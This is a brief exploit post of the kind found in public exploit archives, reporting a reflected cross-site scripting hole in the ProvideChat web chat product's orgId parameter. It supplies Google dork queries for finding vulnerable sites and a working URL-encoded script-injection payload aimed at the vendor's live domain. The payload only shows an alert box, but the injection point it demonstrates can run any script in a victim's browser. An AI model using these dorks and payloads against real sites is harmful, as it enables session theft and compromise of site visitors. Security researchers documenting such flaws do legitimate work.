ProvideChat Cross Site Scripting

# Exploit Title: ProvideChat Cross Site Scripting
# Date: 15.03.2012
# Author: Sony
# Software Link: http://providechat.com
# Google Dorks: inurl:/_chat/unavailable.php?orgId= or intext:powered by providechat
# Web Browser : Mozilla Firefox
# Site : http://insecurity.ro
# PoC:
http://st2tea.blogspot.com/2012/03/providechat-cross-site-scripting.html
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http://providechat.com/_chat/unavailable.php?orgId=3110&option=offline

http://providechat.com/_chat/unavailable.php?orgId=[our xss is here]

http://providechat.com/_chat/unavailable.php?orgId=%22%22%3E%3Cscript%3Ealert%28%22123%22%29%3C/script%3E